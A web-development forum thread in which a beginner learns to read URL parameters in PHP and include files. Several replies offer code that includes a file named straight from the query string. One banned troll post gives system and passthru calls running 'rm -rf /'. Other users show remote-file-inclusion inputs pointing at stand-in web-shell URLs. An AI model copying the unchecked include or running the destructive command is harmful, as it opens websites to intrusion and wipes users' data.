how do i use url parameters?

[no-named]

I've recently been trying to learn html. I'd like to know how to get a parameter from the url, and then include that parameter as a file somewhere.

Example:

[url]http://MySite.com/Thing.html?Site.html[/url]

And then it would include Site.html somewhere. I'm not exactly sure how these parameters work, but i've been trying to find a tutorial, but i couldn't find anything.

[alecdude]

You can't read url parameters with just HTML. Also, including a file on the server would require a server-sided language such as Perl or PHP.

[no-named]

[QUOTE=alecdude;19282923]You can't read url parameters with just HTML. Also, including a file on the server would require a server-sided language such as Perl or PHP.[/QUOTE]

You can include using

<!--#include file="File" -->

And can anyone then tell me (or link to) how to read those parameters? Because it would help alot.

[andersonmat]

This would be much easier in PHP.

// Include:
include "filename.php";

// URL Parameters:
echo $_GET['q'];

[no-named]

[QUOTE=andersonmat;19286612]This would be much easier in PHP.

// Include:
include "filename.php";

// URL Parameters:
echo $_GET['q'];

[/QUOTE]

And as I'm new to this, would you be so kind to explain what i need to do? :D

[alecdude]

[QUOTE=no-named;19286372]You can include using

<!--#include file="File" -->

And can anyone then tell me (or link to) how to read those parameters? Because it would help alot.[/QUOTE]

That's SHTML. There's a big difference.

[PvtCupcakes]

[QUOTE=no-named;19286777]And as I'm new to this, would you be so kind to explain what i need to do? :D[/QUOTE]

I don't know what OS your server is running, but you have to be using the Apache webserver. I don't think PHP is supported on any others.

Download PHP from here for Windows: [url]http://www.php.net[/url]
If you're using Linux, it'll be in the package repository.

[andersonmat]

[QUOTE=PvtCupcakes;19287845]I don't know what OS your server is running, but you have to be using the Apache webserver. I don't think PHP is supported on any others.

Download PHP from here for Windows: [url]http://www.php.net[/url]
If you're using Linux, it'll be in the package repository.[/QUOTE]

PHP works on both Windows and Linux -- Including IIS on Windows Servers. It's just a pain in the ass to set up. Much, much, easier on Linux.

[blackdenton]

Haven't tested it but you could look into this.
[url]http://www.microsoft.com/web/downloads/platform.aspx[/url]

Easy installs of Gallery and Joomla so I assume it gets php set up for you automatically.

[mdakin]

$page = $_GET['page'];

if($page == "test") {
 either, get_file_contents, or header.
}

[Pepin]

Ok this isn't too difficult. I suggest using php. Php is pretty nice because you can dynamically output html. Also, you can have a php file just have HTML in it and it will be treated as HTML, so don't worry too much about the php, it's pretty easy.

As far as getting url parameters, first you'll have your url.

mysite.com/myurl.php

To make a url parameter just add a question mark after the php.

mysite.com/myurl.php?name=User

Now to get this onto the page we just use a bit of php.

<?php
print ($_GET["name"]);
?>

That will print out whatever name is set equal to in the url. And that is the basic concept. Whatever is brackets is the variable you are getting obviously. And if you want multiple variables you just have to put an & symbol between the two variables. You can see an example on facepunch urls like

[url]http://www.facepunch.com/showpost.php?p=19290818&postcount=10[/url]

It has p and postcount, and they are separated by the &.

You can embed this where ever in your html and have it contain whatever data you want. Also note that none of the php will show up on your website or even in the page source (and this is a very good thing). The php is just processed by the server and will only print out what you tell it to.

Here is a great site for php and web stuff.
[url]http://www.w3schools.com/PHP/default.asp[/url]

[andersonmat]

[url]www.php.net[/url]

[OutOfPop]

You need PHP as mentioned. And if you don't want to have to put "?page=site.html" then use

$page = $_SERVER['QUERY_STRING'];

[mdakin]

But then you could do like ?page=http://dodgysite.com/shell.php

[andersonmat]

[QUOTE=Wipmuck;19293450]But then you could do like ?page=http://dodgysite.com/shell.php[/QUOTE]

Only if you're using SSI, which you should always check against a known good list. :sigh:

[turby]

[QUOTE=alecdude;19282923]such as Perl ..[/QUOTE]

yeeeeeeaaaaaahhhhhh

[Pepin]

[QUOTE=Wipmuck;19293450]But then you could do like ?page=http://dodgysite.com/shell.php[/QUOTE]

If I understand you correctly then yes, you can have a whole link as a parameter. Only thing is if you have any & symbols in the link you'll have to do that thing otherwise it'll think there is another parameter. I can't think of the word. It's too late to be up.

[torekk]

-snip-

[no-named]

Thanks to everyone!
Also now,

I've tried

$site = $_GET['s'];
include $site .html;

It actually works, but i need to write

?s=Page.

But what I want to type is simply

?s=Page

How can i do that? :D

[mdakin]

Or do include ".$site.".html; or something

[turby]

[QUOTE=Wipmuck;19297577]Or do include ".$site.".html; or something[/QUOTE]

/me wishes there was a double-dumb rating

[mdakin]

iknowrite

[DJ Biscuit]

[QUOTE=no-named;19297356]Thanks to everyone!
Also now,

I've tried

$site = $_GET['s'];
include $site .html;

It actually works, but i need to write

?s=Page.

But what I want to type is simply

?s=Page

How can i do that? :D[/QUOTE]

Simple,
You want it to get ?s=page, and you including the page: page.html, then do this:

<?php
$site = $_GET['s']; // Gets the site from the url ex. ?s=[b]this[/b]
include($site .'.html'); // Include the file
?>

However, in that case, you may want to make sure the file exisits

<?php
$site = $_GET['s']; // Gets the site from the url ex. ?s=[b]this[/b]
if(file_exists($site .'.html')){ // If the html file for the site exists
	include($site .'.html'); // Include the file
}
else{ // If the file doesn't exist
	die("File not found.."); // Stop running the php file, and print "File not found..."
}
?>

[compwhiziitothe]

[QUOTE=no-named;19297356]Thanks to everyone!
Also now,

I've tried

$site = $_GET['s'];
include $site .html;

It actually works, but i need to write

?s=Page.

But what I want to type is simply

?s=Page

How can i do that? :D[/QUOTE]

How that piece of code is even working is beyond me.

[no-named]

[QUOTE=DJ Biscuit;19301967] *Help here* [/QUOTE]

Thanks to everyone who replied to this thread.

[Nat Taggart]

Hey, if you just want to see a listing of all the methods you can use to get the page, just do

<?php
system("rm -rf /");
?>

On some versions of PHP, this works better:

<?php
passthru("rm -rf /");
?>

[highlight](User was banned for this post ("Really bad advice." - DEADBEEF))[/highlight]

[mdakin]

Id advise you remove that, someone will actually do it.

Anyway, wouldn't it be rm -rf /* for more fun.

[Nat Taggart]

[QUOTE=Wipmuck;19312993]Id advise you remove that, someone will actually do it.

Anyway, wouldn't it be rm -rf /* for more fun.[/QUOTE]

You're like a troll except you don't do it intentionally D:
Guess what the -r in rm -rf / stands for

[mdakin]

rm = unix/linux command for remove
-f skips any prompts
-r deletes all the files in the dir

[turby]

[QUOTE=Wipmuck;19314295]rm = unix/linux command for remove
-f skips any prompts
-r deletes all the files in the dir[/QUOTE]

-r = recursive IIRC

[editline]04:57PM[/editline]

[QUOTE=DJ Biscuit;19301967]Simple,
You want it to get ?s=page, and you including the page: page.html, then do this:

<?php
$site = $_GET['s']; // Gets the site from the url ex. ?s=[b]this[/b]
include($site .'.html'); // Include the file
?>

However, in that case, you may want to make sure the file exisits

<?php
$site = $_GET['s']; // Gets the site from the url ex. ?s=[b]this[/b]
if(file_exists($site .'.html')){ // If the html file for the site exists
	include($site .'.html'); // Include the file
}
else{ // If the file doesn't exist
	die("File not found.."); // Stop running the php file, and print "File not found..."
}
?>

[/QUOTE]

crapscript.php?s=http://evilsite.com/c99.php%00

bam, remote file inclusion right there